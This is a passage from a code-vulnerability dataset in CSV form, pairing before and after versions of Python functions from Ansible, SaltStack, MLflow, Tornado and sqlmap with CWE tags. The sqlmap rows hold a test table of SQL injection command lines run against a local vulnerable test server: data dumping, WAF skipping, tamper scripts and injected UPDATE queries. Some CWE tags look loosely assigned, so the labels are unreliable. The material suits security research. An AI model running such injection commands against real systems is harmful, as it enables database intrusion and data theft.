        # we want this before the extension is added
        full_name = '{0}.{1}'.format(acr.n_python_package_name, n_resource)

        if extension:
            n_resource += extension

        pkg = sys.modules.get(acr.n_python_package_name)
        if not pkg:
            # FIXME: there must be cheaper/safer way to do this
            try:
                pkg = import_module(acr.n_python_package_name)
            except ImportError:
                return plugin_load_context.nope('Python package {0} not found'.format(acr.n_python_package_name))

        pkg_path = os.path.dirname(pkg.__file__)

        n_resource_path = os.path.join(pkg_path, n_resource)

        # FIXME: and is file or file link or ...
        if os.path.exists(n_resource_path):
            return plugin_load_context.resolve(
                full_name, to_text(n_resource_path), acr.collection, 'found exact match for {0} in {1}'.format(full_name, acr.collection))

        if extension:
            # the request was extension-specific, don't try for an extensionless match
            return plugin_load_context.nope('no match for {0} in {1}'.format(to_text(n_resource), acr.collection))

        # look for any matching extension in the package location (sans filter)
        found_files = [f
                       for f in glob.iglob(os.path.join(pkg_path, n_resource) + '.*')
                       if os.path.isfile(f) and not f.endswith(C.MODULE_IGNORE_EXTS)]

        if not found_files:
            return plugin_load_context.nope('failed fuzzy extension match for {0} in {1}'.format(full_name, acr.collection))

        if len(found_files) > 1:
            # TODO: warn?
            pass

        return plugin_load_context.resolve(
            full_name, to_text(found_files[0]), acr.collection, 'found fuzzy extension match for {0} in {1}'.format(full_name, acr.collection))"
,UNKNOWN,UNKNOWN,salt/transport/zeromq.py,1,"def _get_master_uri(master_ip, master_port, source_ip=None, source_port=None):
    """"""
    Return the ZeroMQ URI to connect the Minion to the Master.
    It supports different source IP / port, given the ZeroMQ syntax:
    // Connecting using a IP address and bind to an IP address
    rc = zmq_connect(socket, ""tcp://192.168.1.17:5555;192.168.1.1:5555""); assert (rc == 0);
    Source: http://api.zeromq.org/4-1:zmq-tcp
    """"""
    from salt.utils.zeromq import ip_bracket

    master_uri = ""tcp://{master_ip}:{master_port}"".format(
        master_ip=ip_bracket(master_ip), master_port=master_port
    )

    if source_ip or source_port:
        if LIBZMQ_VERSION_INFO >= (4, 1, 6) and ZMQ_VERSION_INFO >= (16, 0, 1):
            # The source:port syntax for ZeroMQ has been added in libzmq 4.1.6
            # which is included in the pyzmq wheels starting with 16.0.1.
            if source_ip and source_port:
                master_uri = (
                    ""tcp://{source_ip}:{source_port};{master_ip}:{master_port}"".format(
                        source_ip=ip_bracket(source_ip),
                        source_port=source_port,
                        master_ip=ip_bracket(master_ip),
                        master_port=master_port,
                    )
                )
            elif source_ip and not source_port:
                master_uri = ""tcp://{source_ip}:0;{master_ip}:{master_port}"".format(
                    source_ip=ip_bracket(source_ip),
                    master_ip=ip_bracket(master_ip),
                    master_port=master_port,
                )
            elif source_port and not source_ip:
                ip_any = (
                    ""0.0.0.0""
                    if ipaddress.ip_address(master_ip).version == 4
                    else ip_bracket(""::"")
                )
                master_uri = (
                    ""tcp://{ip_any}:{source_port};{master_ip}:{master_port}"".format(
                        ip_any=ip_any,
                        source_port=source_port,
                        master_ip=ip_bracket(master_ip),
                        master_port=master_port,
                    )
                )
        else:
            log.warning(
                ""Unable to connect to the Master using a specific source IP / port""
            )
            log.warning(""Consider upgrading to pyzmq >= 16.0.1 and libzmq >= 4.1.6"")
            log.warning(
                ""Specific source IP / port for connecting to master returner port:""
                "" configuraion ignored""
            )

    return master_uri","CWE-605, CWE-703",saltstack/salt,76e50885b07621e9e4c16bc3f1ebc16c93983b90,"def _get_master_uri(master_ip, master_port, source_ip=None, source_port=None):
    """"""
    Return the ZeroMQ URI to connect the Minion to the Master.
    It supports different source IP / port, given the ZeroMQ syntax:
    // Connecting using a IP address and bind to an IP address
    rc = zmq_connect(socket, ""tcp://192.168.1.17:5555;192.168.1.1:5555""); assert (rc == 0);
    Source: http://api.zeromq.org/4-1:zmq-tcp
    """"""
    from salt.utils.zeromq import ip_bracket

    master_uri = ""tcp://{master_ip}:{master_port}"".format(
        master_ip=ip_bracket(master_ip), master_port=master_port
    )

    if source_ip or source_port:
        if LIBZMQ_VERSION_INFO >= (4, 1, 6) and ZMQ_VERSION_INFO >= (16, 0, 1):
            # The source:port syntax for ZeroMQ has been added in libzmq 4.1.6
            # which is included in the pyzmq wheels starting with 16.0.1.
            if source_ip and source_port:
                master_uri = (
                    ""tcp://{source_ip}:{source_port};{master_ip}:{master_port}"".format(
                        source_ip=ip_bracket(source_ip),
                        source_port=source_port,
                        master_ip=ip_bracket(master_ip),
                        master_port=master_port,
                    )
                )
            elif source_ip and not source_port:
                master_uri = ""tcp://{source_ip}:0;{master_ip}:{master_port}"".format(
                    source_ip=ip_bracket(source_ip),
                    master_ip=ip_bracket(master_ip),
                    master_port=master_port,
                )
            elif source_port and not source_ip:
                ip_any = (
                    ""0.0.0.0""
                    if ipaddress.ip_address(master_ip).version == 4
                    else ip_bracket(""::"")
                )
                master_uri = (
                    ""tcp://{ip_any}:{source_port};{master_ip}:{master_port}"".format(
                        ip_any=ip_any,
                        source_port=source_port,
                        master_ip=ip_bracket(master_ip),
                        master_port=master_port,
                    )
                )
        else:
            log.warning(
                ""Unable to connect to the Master using a specific source IP / port""
            )
            log.warning(""Consider upgrading to pyzmq >= 16.0.1 and libzmq >= 4.1.6"")
            log.warning(
                ""Specific source IP / port for connecting to master returner port: configuraion ignored""
            )

    return master_uri"
,UNKNOWN,UNKNOWN,tests/pipelines/test_pipeline.py,1,"def test_pipelines_log_to_expected_mlflow_backend_with_expected_run_tags_once_on_reruns(
    tmp_path,
):
    experiment_name = ""my_test_exp""
    tracking_uri = ""sqlite:///"" + str((tmp_path / ""tracking_dst.db"").resolve())
    artifact_location = str((tmp_path / ""mlartifacts"").resolve())

    profile_path = pathlib.Path.cwd() / ""profiles"" / ""local.yaml""
    with open(profile_path, ""r"") as f:
        profile_contents = yaml.safe_load(f)

    profile_contents[""experiment""][""name""] = experiment_name
    profile_contents[""experiment""][""tracking_uri""] = tracking_uri
    profile_contents[""experiment""][""artifact_location""] = path_to_local_file_uri(artifact_location)

    with open(profile_path, ""w"") as f:
        yaml.safe_dump(profile_contents, f)

    mlflow.set_tracking_uri(tracking_uri)
    pipeline = Pipeline(profile=""local"")
    pipeline.clean()
    pipeline.run()

    logged_runs = mlflow.search_runs(experiment_names=[experiment_name], output_format=""list"")
    assert len(logged_runs) == 1
    logged_run = logged_runs[0]
    assert logged_run.info.artifact_uri == path_to_local_file_uri(
        str((pathlib.Path(artifact_location) / logged_run.info.run_id / ""artifacts"").resolve())
    )
    assert ""test_r2_score"" in logged_run.data.metrics
    artifacts = MlflowClient(tracking_uri).list_artifacts(
        run_id=logged_run.info.run_id, path=""train""
    )
    assert {artifact.path for artifact in artifacts} == {
        ""train/best_parameters.yaml"",
        ""train/card.html"",
        ""train/estimator"",
        ""train/model"",
    }
    run_tags = MlflowClient(tracking_uri).get_run(run_id=logged_run.info.run_id).data.tags
    pipelineSourceTag = {MLFLOW_SOURCE_TYPE: SourceType.to_string(SourceType.PIPELINE)}
    assert resolve_tags(pipelineSourceTag).items() <= run_tags.items()

    pipeline.run()
    logged_runs = mlflow.search_runs(experiment_names=[experiment_name], output_format=""list"")
    assert len(logged_runs) == 1",CWE-703,mlflow/mlflow,6bddc546abb9001120fe09a1329e53b8eafcaf8f,"def test_pipelines_log_to_expected_mlflow_backend_with_expected_run_tags_once_on_reruns(
    tmp_path,
):
    experiment_name = ""my_test_exp""
    tracking_uri = ""sqlite:///"" + str((tmp_path / ""tracking_dst.db"").resolve())
    artifact_location = str((tmp_path / ""mlartifacts"").resolve())

    profile_path = pathlib.Path.cwd() / ""profiles"" / ""local.yaml""
    with open(profile_path, ""r"") as f:
        profile_contents = yaml.safe_load(f)

    profile_contents[""experiment""][""name""] = experiment_name
    profile_contents[""experiment""][""tracking_uri""] = tracking_uri
    profile_contents[""experiment""][""artifact_location""] = path_to_local_file_uri(artifact_location)

    with open(profile_path, ""w"") as f:
        yaml.safe_dump(profile_contents, f)

    mlflow.set_tracking_uri(tracking_uri)
    pipeline = Pipeline(profile=""local"")
    pipeline.clean()
    pipeline.run()

    logged_runs = mlflow.search_runs(experiment_names=[experiment_name], output_format=""list"")
    assert len(logged_runs) == 1
    logged_run = logged_runs[0]
    assert logged_run.info.artifact_uri == path_to_local_file_uri(
        str((pathlib.Path(artifact_location) / logged_run.info.run_id / ""artifacts"").resolve())
    )
    assert ""r2_score"" in logged_run.data.metrics
    artifacts = MlflowClient(tracking_uri).list_artifacts(
        run_id=logged_run.info.run_id, path=""train""
    )
    assert {artifact.path for artifact in artifacts} == {
        ""train/best_parameters.yaml"",
        ""train/card.html"",
        ""train/estimator"",
        ""train/model"",
    }
    run_tags = MlflowClient(tracking_uri).get_run(run_id=logged_run.info.run_id).data.tags
    pipelineSourceTag = {MLFLOW_SOURCE_TYPE: SourceType.to_string(SourceType.PIPELINE)}
    assert resolve_tags(pipelineSourceTag).items() <= run_tags.items()

    pipeline.run()
    logged_runs = mlflow.search_runs(experiment_names=[experiment_name], output_format=""list"")
    assert len(logged_runs) == 1"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/websocket.py,0,"def close(self, code=None, reason=None):
        """"""Closes the websocket connection.

        ``code`` and ``reason`` are documented under
        `WebSocketHandler.close`.

        .. versionadded:: 3.2

        .. versionchanged:: 4.0

           Added the ``code`` and ``reason`` arguments.
        """"""
        if self.protocol is not None:
            self.protocol.close(code, reason)
            self.protocol = None",CWE-Unknown,tornadoweb/tornado,c7ae10d668f10cb5797fa88eeca9b3c63644b1cb,"def close(self, code=None, reason=None):
        """"""Closes the websocket connection.

        ``code`` and ``reason`` are documented under
        `WebSocketHandler.close`.

        .. versionadded:: 3.2

        .. versionchanged:: 4.0

           Added the ``code`` and ``reason`` arguments.
        """"""
        if self.protocol is not None:
            self.protocol.close(code, reason)
            self.protocol = None"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/cli.py,0,"def gc(older_than, backend_store_uri, run_ids, experiment_ids):
    """"""
    Permanently delete runs in the `deleted` lifecycle stage from the specified backend store.
    This command deletes all artifacts and metadata associated with the specified runs.
    """"""
    import warnings
    from mlflow.utils.time_utils import get_current_time_millis

    backend_store = _get_store(backend_store_uri, None)
    skip_experiments = False
    if not hasattr(backend_store, ""_hard_delete_run""):
        raise MlflowException(
            ""This cli can only be used with a backend that allows hard-deleting runs""
        )

    if not hasattr(backend_store, ""_hard_delete_experiment""):
        warnings.warn(
            ""The specified backend does not allow hard-deleting experiments. Experiments""
            "" will be skipped."",
            FutureWarning,
            stacklevel=2,
        )
        skip_experiments = True

    time_delta = 0

    if older_than is not None:
        regex = re.compile(
            r""^((?P<days>[\.\d]+?)d)?((?P<hours>[\.\d]+?)h)?((?P<minutes>[\.\d]+?)m)""
            r""?((?P<seconds>[\.\d]+?)s)?$""
        )
        parts = regex.match(older_than)
        if parts is None:
            raise MlflowException(
                ""Could not parse any time information from '{}'. ""
                ""Examples of valid strings: '8h', '2d8h5m20s', '2m4s'"".format(older_than),
                error_code=INVALID_PARAMETER_VALUE,
            )
        time_params = {name: float(param) for name, param in parts.groupdict().items() if param}
        time_delta = int(timedelta(**time_params).total_seconds() * 1000)

    deleted_run_ids_older_than = backend_store._get_deleted_runs(older_than=time_delta)
    if not run_ids:
        run_ids = deleted_run_ids_older_than
    else:
        run_ids = run_ids.split("","")

    time_threshold = get_current_time_millis() - time_delta
    if not skip_experiments:
        if experiment_ids:
            experiment_ids = experiment_ids.split("","")
            experiments = [backend_store.get_experiment(id) for id in experiment_ids]

            # Ensure that the specified experiments are soft-deleted
            active_experiment_ids = [
                e.experiment_id for e in experiments if e.lifecycle_stage != LifecycleStage.DELETED
            ]
            if active_experiment_ids:
                raise MlflowException(
                    f""Experiments {active_experiment_ids} are not in the deleted lifecycle stage. ""
                    ""Only experiments in the deleted lifecycle stage can be hard-deleted."",
                    error_code=INVALID_PARAMETER_VALUE,
                )

            # Ensure that the specified experiments are old enough
            if older_than:
                non_old_experiment_ids = [
                    e.experiment_id
                    for e in experiments
                    if e.last_update_time is None or e.last_update_time >= time_threshold
                ]
                if non_old_experiment_ids:
                    raise MlflowException(
                        f""Experiments {non_old_experiment_ids} are not older than the required""
                        f""age. Only experiments older than {older_than} can be deleted."",
                        error_code=INVALID_PARAMETER_VALUE,
                    )
        else:
            filter_string = f""last_update_time < {time_threshold}"" if older_than else None

            def fetch_experiments(token=None):
                page = backend_store.search_experiments(
                    view_type=ViewType.DELETED_ONLY,
                    filter_string=filter_string,
                    page_token=token,
                )
                return (page + fetch_experiments(page.token)) if page.token else page

            experiment_ids = [exp.experiment_id for exp in fetch_experiments()]

        def fetch_runs(token=None):
            page = backend_store.search_runs(
                experiment_ids=experiment_ids,
                filter_string="""",
                run_view_type=ViewType.DELETED_ONLY,
                page_token=token,
            )
            return (page + fetch_runs(page.token)) if page.token else page

        run_ids.extend([run.info.run_id for run in fetch_runs()])

    for run_id in set(run_ids):
        run = backend_store.get_run(run_id)
        if run.info.lifecycle_stage != LifecycleStage.DELETED:
            raise MlflowException(
                ""Run % is not in `deleted` lifecycle stage. Only runs in""
                "" `deleted` lifecycle stage can be deleted."" % run_id
            )
        # raise MlflowException if run_id is newer than older_than parameter
        if older_than and run_id not in deleted_run_ids_older_than:
            raise MlflowException(
                f""Run {run_id} is not older than the required age. ""
                f""Only runs older than {older_than} can be deleted."",
                error_code=INVALID_PARAMETER_VALUE,
            )
        # raise MlflowException if run_id is newer than older_than parameter
        if older_than and run_id not in deleted_run_ids_older_than:
            raise MlflowException(
                f""Run {run_id} is not older than the required age. ""
                f""Only runs older than {older_than} can be deleted."",
                error_code=INVALID_PARAMETER_VALUE,
            )
        artifact_repo = get_artifact_repository(run.info.artifact_uri)
        artifact_repo.delete_artifacts()
        backend_store._hard_delete_run(run_id)
        click.echo(""Run with ID %s has been permanently deleted."" % str(run_id))

    if not skip_experiments:
        for experiment_id in experiment_ids:
            backend_store._hard_delete_experiment(experiment_id)
            click.echo(""Experiment with ID %s has been permanently deleted."" % str(experiment_id))",,mlflow/mlflow,80875513e3b488d589fb5602568b8ec1a63a88c9,"def gc(older_than, backend_store_uri, run_ids, experiment_ids):
    """"""
    Permanently delete runs in the `deleted` lifecycle stage from the specified backend store.
    This command deletes all artifacts and metadata associated with the specified runs.
    """"""
    import warnings
    from mlflow.utils.time_utils import get_current_time_millis

    backend_store = _get_store(backend_store_uri, None)
    skip_experiments = False
    if not hasattr(backend_store, ""_hard_delete_run""):
        raise MlflowException(
            ""This cli can only be used with a backend that allows hard-deleting runs""
        )

    if not hasattr(backend_store, ""_hard_delete_experiment""):
        warnings.warn(
            ""The specified backend does not allow hard-deleting experiments. Experiments""
            "" will be skipped."",
            FutureWarning,
            stacklevel=2,
        )
        skip_experiments = True

    time_delta = 0

    if older_than is not None:
        regex = re.compile(
            r""^((?P<days>[\.\d]+?)d)?((?P<hours>[\.\d]+?)h)?((?P<minutes>[\.\d]+?)m)""
            r""?((?P<seconds>[\.\d]+?)s)?$""
        )
        parts = regex.match(older_than)
        if parts is None:
            raise MlflowException(
                ""Could not parse any time information from '{}'. ""
                ""Examples of valid strings: '8h', '2d8h5m20s', '2m4s'"".format(older_than),
                error_code=INVALID_PARAMETER_VALUE,
            )
        time_params = {name: float(param) for name, param in parts.groupdict().items() if param}
        time_delta = int(timedelta(**time_params).total_seconds() * 1000)

    deleted_run_ids_older_than = backend_store._get_deleted_runs(older_than=time_delta)
    if not run_ids:
        run_ids = deleted_run_ids_older_than
    else:
        run_ids = run_ids.split("","")

    time_threshold = get_current_time_millis() - time_delta
    if not skip_experiments:
        if experiment_ids:
            experiment_ids = experiment_ids.split("","")
            experiments = [backend_store.get_experiment(id) for id in experiment_ids]

            # Ensure that the specified experiments are soft-deleted
            active_experiment_ids = [
                e.experiment_id for e in experiments if e.lifecycle_stage != LifecycleStage.DELETED
            ]
            if active_experiment_ids:
                raise MlflowException(
                    f""Experiments {active_experiment_ids} are not in the deleted lifecycle stage. ""
                    ""Only experiments in the deleted lifecycle stage can be hard-deleted."",
                    error_code=INVALID_PARAMETER_VALUE,
                )

            # Ensure that the specified experiments are old enough
            if older_than:
                non_old_experiment_ids = [
                    e.experiment_id
                    for e in experiments
                    if e.last_update_time is None or e.last_update_time >= time_threshold
                ]
                if non_old_experiment_ids:
                    raise MlflowException(
                        f""Experiments {non_old_experiment_ids} are not older than the required""
                        f""age. Only experiments older than {older_than} can be deleted."",
                        error_code=INVALID_PARAMETER_VALUE,
                    )
        else:
            filter_string = f""last_update_time < {time_threshold}"" if older_than else None

            def fetch_experiments(token=None):
                page = backend_store.search_experiments(
                    view_type=ViewType.DELETED_ONLY,
                    filter_string=filter_string,
                    page_token=token,
                )
                return (page + fetch_experiments(page.token)) if page.token else page

            experiment_ids = [exp.experiment_id for exp in fetch_experiments()]

        def fetch_runs(token=None):
            page = backend_store.search_runs(
                experiment_ids=experiment_ids,
                filter_string="""",
                run_view_type=ViewType.DELETED_ONLY,
                page_token=token,
            )
            return (page + fetch_runs(page.token)) if page.token else page

        run_ids.extend([run.info.run_id for run in fetch_runs()])

    for run_id in set(run_ids):
        run = backend_store.get_run(run_id)
        if run.info.lifecycle_stage != LifecycleStage.DELETED:
            raise MlflowException(
                ""Run % is not in `deleted` lifecycle stage. Only runs in""
                "" `deleted` lifecycle stage can be deleted."" % run_id
            )
        # raise MlflowException if run_id is newer than older_than parameter
        if older_than and run_id not in deleted_run_ids_older_than:
            raise MlflowException(
                f""Run {run_id} is not older than the required age. ""
                f""Only runs older than {older_than} can be deleted."",
                error_code=INVALID_PARAMETER_VALUE,
            )
        # raise MlflowException if run_id is newer than older_than parameter
        if older_than and run_id not in deleted_run_ids_older_than:
            raise MlflowException(
                f""Run {run_id} is not older than the required age. ""
                f""Only runs older than {older_than} can be deleted."",
                error_code=INVALID_PARAMETER_VALUE,
            )
        artifact_repo = get_artifact_repository(run.info.artifact_uri)
        artifact_repo.delete_artifacts()
        backend_store._hard_delete_run(run_id)
        click.echo(""Run with ID %s has been permanently deleted."" % str(run_id))

    if not skip_experiments:
        for experiment_id in experiment_ids:
            backend_store._hard_delete_experiment(experiment_id)
            click.echo(""Experiment with ID %s has been permanently deleted."" % str(experiment_id))"
,UNKNOWN,UNKNOWN,lib/core/testing.py,1,"def vulnTest():
    """"""
    Runs the testing against 'vulnserver'
    """"""

    TESTS = (
        (""-h"", (""to see full list of options run with '-hh'"",)),
        (""--dependencies --deprecations"", (""sqlmap requires"", ""third-party library"", ""~DeprecationWarning:"")),
        (""-u <url> --data='reflect=1' --flush-session --wizard"", (""Please choose:"", ""back-end DBMS: SQLite"", ""current user is DBA: True"", ""banner: '3."")),
        (""-u <url> --data='code=1' --code=200 --technique=B --banner --flush-session"", (""back-end DBMS: SQLite"", ""banner: '3."")),
        (u""-c <config> --flush-session --smart --roles --statements --hostname --privileges --sql-query=\""SELECT '\u0161u\u0107uraj'\"" --technique=U"", (u"": '\u0161u\u0107uraj'"", ""on SQLite it is not possible"")),
        (u""-u <url> --flush-session --sql-query=\""SELECT '\u0161u\u0107uraj'\"" --technique=B --no-escape --string=luther --unstable"", (u"": '\u0161u\u0107uraj'"",)),
        (""--dummy"", (""all tested parameters do not appear to be injectable"", ""does not seem to be injectable"", ""there is not at least one"", ""~might be injectable"")),
        (""-u '<url>&id2=1' -p id2 -v 5 --flush-session --level=5 --text-only --test-filter='AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'"", (""~1AND"",)),
        (""--list-tampers"", (""between"", ""MySQL"", ""xforwardedfor"")),
        (""-r <request> --flush-session -v 5 --test-skip='heavy' --save=<config>"", (""CloudFlare"", ""web application technology: Express"", ""possible DBMS: 'SQLite'"", ""User-agent: foobar"", ""~Type: time-based blind"", ""saved command line options to the configuration file"")),
        (""-c <config>"", (""CloudFlare"", ""possible DBMS: 'SQLite'"", ""User-agent: foobar"", ""~Type: time-based blind"")),
        (""<piped> -r <request> -l <log> --flush-session --banner --technique=B"", (""banner: '3."", ""STDIN"")),
        (""-l <log> --flush-session --keep-alive --skip-waf -v 5 --technique=U --union-from=users --banner --parse-errors"", (""banner: '3."", ""ORDER BY term out of range"", ""~xp_cmdshell"", ""Connection: keep-alive"")),
        (""-l <log> --offline --banner -v 5"", (""banner: '3."", ""~[TRAFFIC OUT]"")),
        (""-u <base> --flush-session --data='id=1&_=Eewef6oh' --chunked --randomize=_ --random-agent --banner"", (""fetched random HTTP User-Agent header value"", ""Parameter: id (POST)"", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", ""banner: '3."")),
        (""-u <base64> -p id --base64=id --data='base64=true' --flush-session --banner --technique=B"", (""banner: '3."",)),
        (""-u <base64> -p id --base64=id --data='base64=true' --flush-session --tables --technique=U"", ("" users "",)),
        (""-u <url> --flush-session --banner --technique=B --not-string 'no results'"", (""banner: '3."",)),
        (""-u <url> --flush-session --banner --technique=B --first=1 --last=2"", (""banner: '3.'"",)),
        (""-u <url> --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner"", (""total of 2 targets"", ""might be injectable"", ""Type: UNION query"", ""banner: '3."")),
        (""-u <base> --flush-session --data='{\""id\"": 1}' --banner"", (""might be injectable"", ""3 columns"", ""Payload: {\""id\"""", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", ""banner: '3."")),
        (""-u <base> --flush-session -H 'Foo: Bar' -H 'Sna: Fu' --data='<root><param name=\""id\"" value=\""1*\""/></root>' --union-char=1 --mobile --answers='smartphone=3' --banner --smart -v 5"", (""might be injectable"", ""Payload: <root><param name=\""id\"" value=\""1"", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", ""banner: '3."", ""Nexus"", ""Sna: Fu"", ""Foo: Bar"")),
        (""-u <base> --flush-session --method=PUT --data='a=1;id=1;b=2' --param-del=';' --skip-static --har=<tmp> --dump -T users --start=1 --stop=2"", (""might be injectable"", ""Parameter: id (PUT)"", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", ""2 entries"")),
        (""-u <url> --flush-session -H 'id: 1*' --tables -t <tmp>"", (""might be injectable"", ""Parameter: id #1* ((custom) HEADER)"", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", "" users "")),
        (""-u <url> --flush-session --banner --invalid-logical --technique=B --predict-output --test-filter='OR boolean' --tamper=space2dash"", (""banner: '3."", "" LIKE "")),
        (""-u <url> --flush-session --cookie=\""PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\"" --tables --union-cols=3"", (""might be injectable"", ""Cookie #1* ((custom) HEADER)"", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", "" users "")),
        (""-u <url> --flush-session --null-connection --technique=B --tamper=between,randomcase --banner"", (""NULL connection is supported with HEAD method"", ""banner: '3."")),
        (""-u <url> --flush-session --parse-errors --test-filter=\""subquery\"" --eval=\""import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\"" --referer=\""localhost\"""", (""might be injectable"", "": syntax error"", ""back-end DBMS: SQLite"", ""WHERE or HAVING clause (subquery"")),
        (""-u <url> --banner --schema --dump -T users --binary-fields=surname --where \""id>3\"""", (""banner: '3."", ""INTEGER"", ""TEXT"", ""id"", ""name"", ""surname"", ""2 entries"", ""6E616D6569736E756C6C"")),
        (""-u <url> --technique=U --fresh-queries --force-partial --dump -T users --dump-format=HTML --answers=\""crack=n\"" -v 3"", (""performed 6 queries"", ""nameisnull"", ""~using default dictionary"", ""dumped to HTML file"")),
        (""-u <url> --flush-session --all"", (""5 entries"", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", ""luther"", ""blisset"", ""fluffy"", ""179ad45c6ce2cb97cf1029e212046e81"", ""NULL"", ""nameisnull"", ""testpass"")),
        (""-u <url> -z \""tec=B\"" --hex --fresh-queries --threads=4 --sql-query=\""SELECT * FROM users\"""", (""SELECT * FROM users [5]"", ""nameisnull"")),
        (""-u '<url>&echo=foobar*' --flush-session"", (""might be vulnerable to cross-site scripting"",)),
        (""-u '<url>&query=*' --flush-session --technique=Q --banner"", (""Title: SQLite inline queries"", ""banner: '3."")),
        (""-d <direct> --flush-session --dump -T users --dump-format=SQLITE --binary-fields=name --where \""id=3\"""", (""7775"", ""179ad45c6ce2cb97cf1029e212046e81 (testpass)"", ""dumped to SQLITE database"")),
        (""-d <direct> --flush-session --banner --schema --sql-query=\""UPDATE users SET name='foobar' WHERE id=5; SELECT * FROM users; SELECT 987654321\"""", (""banner: '3."", ""INTEGER"", ""TEXT"", ""id"", ""name"", ""surname"", ""5, foobar, nameisnull"", ""[*] 987654321"",)),
        (""--purge -v 3"", (""~ERROR"", ""~CRITICAL"", ""deleting the whole directory tree"")),
    )

    retVal = True
    count = 0
    address, port = ""127.0.0.10"", random.randint(1025, 65535)

    def _thread():
        vulnserver.init(quiet=True)
        vulnserver.run(address=address, port=port)

    thread = threading.Thread(target=_thread)
    thread.daemon = True
    thread.start()

    while True:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            s.connect((address, port))
            s.send(b""GET / HTTP/1.0\r\n\r\n"")
            if b""vulnserver"" in s.recv(4096):
                break
        except:
            time.sleep(1)
        finally:
            s.close()

    handle, config = tempfile.mkstemp(suffix="".conf"")
    os.close(handle)

    handle, database = tempfile.mkstemp(suffix="".sqlite"")
    os.close(handle)

    with sqlite3.connect(database) as conn:
        c = conn.cursor()
        c.executescript(vulnserver.SCHEMA)

    handle, request = tempfile.mkstemp(suffix="".req"")
    os.close(handle)

    handle, log = tempfile.mkstemp(suffix="".log"")
    os.close(handle)

    content = ""POST / HTTP/1.0\nUser-agent: foobar\nHost: %s:%s\n\nid=1\n"" % (address, port)

    open(request, ""w+"").write(content)
    open(log, ""w+"").write('<port>%d</port><request base64=""true""><![CDATA[%s]]></request>' % (port, encodeBase64(content, binary=False)))

    base = ""http://%s:%d/"" % (address, port)
    url = ""%s?id=1"" % base
    direct = ""sqlite3://%s"" % database

    content = open(os.path.abspath(os.path.join(os.path.dirname(__file__), "".."", "".."", ""sqlmap.conf""))).read().replace(""url ="", ""url = %s"" % url)
    open(config, ""w+"").write(content)

    for options, checks in TESTS:
        status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
        dataToStdout(""\r[%s] [INFO] complete: %s"" % (time.strftime(""%X""), status))

        for tag, value in ((""<url>"", url), (""<base>"", base), (""<direct>"", direct), (""<request>"", request), (""<log>"", log), (""<config>"", config), (""<base64>"", url.replace(""id=1"", ""id=MZ=%3d""))):
            options = options.replace(tag, value)

        cmd = ""%s \""%s\"" %s --batch --non-interactive --debug"" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "".."", "".."", ""sqlmap.py"")), options)

        if ""<tmp>"" in cmd:
            handle, tmp = tempfile.mkstemp()
            os.close(handle)
            cmd = cmd.replace(""<tmp>"", tmp)

        if ""<piped>"" in cmd:
            cmd = re.sub(r""<piped>\s*"", """", cmd)
            cmd = ""echo %s | %s"" % (url, cmd)

        output = shellExec(cmd)

        if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks) or ""unhandled exception"" in output:
            dataToStdout(""---\n\n$ %s\n"" % cmd)
            dataToStdout(""%s---\n"" % output, coloring=False)
            retVal = False

        count += 1

    clearConsoleLine()
    if retVal:
        logger.info(""vuln test final result: PASSED"")
    else:
        logger.error(""vuln test final result: FAILED"")

    return retVal","CWE-327, CWE-330",sqlmapproject/sqlmap,160011bd87f9c769cab5fee3477cb781b742e6a8,"def vulnTest():
    """"""
    Runs the testing against 'vulnserver'
    """"""

    TESTS = (
        (""-h"", (""to see full list of options run with '-hh'"",)),
        (""--dependencies --deprecations"", (""sqlmap requires"", ""third-party library"", ""~DeprecationWarning:"")),
        (""-u <url> --data='reflect=1' --flush-session --wizard"", (""Please choose:"", ""back-end DBMS: SQLite"", ""current user is DBA: True"", ""banner: '3."")),
        (u""-c <config> --flush-session --smart --roles --statements --hostname --privileges --sql-query=\""SELECT '\u0161u\u0107uraj'\"" --technique=U"", (u"": '\u0161u\u0107uraj'"", ""on SQLite it is not possible"")),
        (u""-u <url> --flush-session --sql-query=\""SELECT '\u0161u\u0107uraj'\"" --technique=B --no-escape --string=luther --unstable"", (u"": '\u0161u\u0107uraj'"",)),
        (""--dummy"", (""all tested parameters do not appear to be injectable"", ""does not seem to be injectable"", ""there is not at least one"", ""~might be injectable"")),
        (""-u '<url>&id2=1' -p id2 -v 5 --flush-session --level=5 --text-only --test-filter='AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'"", (""~1AND"",)),
        (""--list-tampers"", (""between"", ""MySQL"", ""xforwardedfor"")),
        (""-r <request> --flush-session -v 5 --test-skip='heavy' --save=<config>"", (""CloudFlare"", ""web application technology: Express"", ""possible DBMS: 'SQLite'"", ""User-agent: foobar"", ""~Type: time-based blind"", ""saved command line options to the configuration file"")),
        (""-c <config>"", (""CloudFlare"", ""possible DBMS: 'SQLite'"", ""User-agent: foobar"", ""~Type: time-based blind"")),
        (""<piped> -r <request> -l <log> --flush-session --banner --technique=B"", (""banner: '3."", ""STDIN"")),
        (""-l <log> --flush-session --keep-alive --skip-waf -v 5 --technique=U --union-from=users --banner --parse-errors"", (""banner: '3."", ""ORDER BY term out of range"", ""~xp_cmdshell"", ""Connection: keep-alive"")),
        (""-l <log> --offline --banner -v 5"", (""banner: '3."", ""~[TRAFFIC OUT]"")),
        (""-u <url> --flush-session --data='id=1&_=Eewef6oh' --chunked --randomize=_ --random-agent --banner"", (""fetched random HTTP User-Agent header value"", ""Parameter: id (POST)"", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", ""banner: '3."")),
